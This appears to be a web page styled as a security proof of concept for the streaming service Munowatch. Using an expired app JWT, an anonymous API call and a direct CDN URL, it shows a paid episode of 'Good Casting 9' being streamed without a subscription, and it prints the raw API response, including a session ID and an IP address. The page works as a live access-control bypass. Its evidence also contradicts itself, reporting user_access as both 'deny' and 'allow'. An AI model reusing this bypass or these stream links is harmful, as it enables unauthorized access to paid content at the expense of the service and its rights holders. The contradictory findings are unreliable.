Watch — Good Casting 9

SECURITY PoC — NO AUTH

This movie's CDN stream is playing without login or subscription

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Per-movie CDN bypass proof The API returned playingUrl for Good Casting 9 with issubscriber: false, user_access: deny, and paid_for: true. The video_name + serverhost from the API response are used to construct the CDN URL above, confirming that the file for this specific movie is publicly accessible with no authentication.

Security research evidence Inspect entitlement results, CDN URLs, and the raw API response Access control failed

API response evidence

Endpoint called GET /api/preview/v2/11564/0

User ID used 0 (no user / not logged in)

JWT used Expired Feb 2024 (extracted from APK)

issubscriber false

user_access allow

paid_for YES (premium content)

substatus EXPIRED

serverhost 24

video_name 8b143~24.mp4

playingUrl returned YES — URL in response

API playingUrl value https://munowatch.co/clips/ELI.mp4

CDN stream https://munotek-vault.b-cdn.net/11c97/465/8b143~24.mp4

Finding: The server sets user_access=deny and issubscriber=false but still returns playingUrl in the same response. Subscription is enforced client-side only — any caller with the expired APK JWT can obtain stream URLs without a subscription. Munowatch CDN (b-cdn.net) serves content with no auth required (direct HTTP Range requests succeed with HTTP 206).

{
    "id": 11564,
    "video_title": "Good Casting 9",
    "description": " Baek Chan-Mi (Choi Gang-Hee) was a legendary black agent for the NIS, but, due to her excessive work, her subordinate died and she missed catching her intended target. Baek Chan-Mi was punished for that botched case and she now works in a cyber security team for the NIS. Baek Chan-Mi is then selected to go undercover on a case involving intellectual property theft at Korea's largest company. ",
    "video_name": "8b143~24.mp4",
    "filehistory": " ~ good casting 9_x264.mp4 ~ ",
    "openload": "0",
    "embedurl": "",
    "serverhost": "24",
    "allow_openload": "0",
    "full_video_name": "",
    "duration": "31h 17m",
    "thumbnail": "https://apposters.b-cdn.net/laba/yo/naki/846226623654.jpg",
    "tfilehistory": "",
    "category_id": 5,
    "language_id": 1,
    "recording_date": "2020-09-28",
    "age_id": "13 +",
    "location": 1,
    "tab_category_id": 5,
    "series_code": "62037",
    "access": "1",
    "paid_for": "1",
    "new_movie": "1",
    "priority": "No",
    "size": "201.12 MB",
    "create_date": "2020-09-28 18:32:53",
    "schedule_date": null,
    "user_id": 1118356,
    "vj_id": 29,
    "video_status_id": 0,
    "network_id": "154.224.129.157",
    "user_access": "allow",
    "notification": "",
    "secduration": "112620.000000",
    "issubscriber": false,
    "genre": "Series",
    "vjname": "Vj Little T",
    "trailer_playing_url": "",
    "episodes": 21,
    "episode_state": "NEXT",
    "nxt_eps": "EPS  10",
    "nxt_eps_id": 11565,
    "nxt_eps_title": "Good Casting 10",
    "nxt_ldur": 0,
    "nxt_playing_url": "https://munowatch.co/clips/ELI.mp4",
    "playingUrl": "https://munowatch.co/clips/ELI.mp4",
    "ldur": 0,
    "session_id": "cb99afb5b31411a57538a97393de0e2e",
    "device": "web",
    "lang_name": "English to Luganda",
    "vjrelease": "6 years ago",
    "mstatus": false,
    "kstatus": "",
    "substatus": "EXPIRED"
}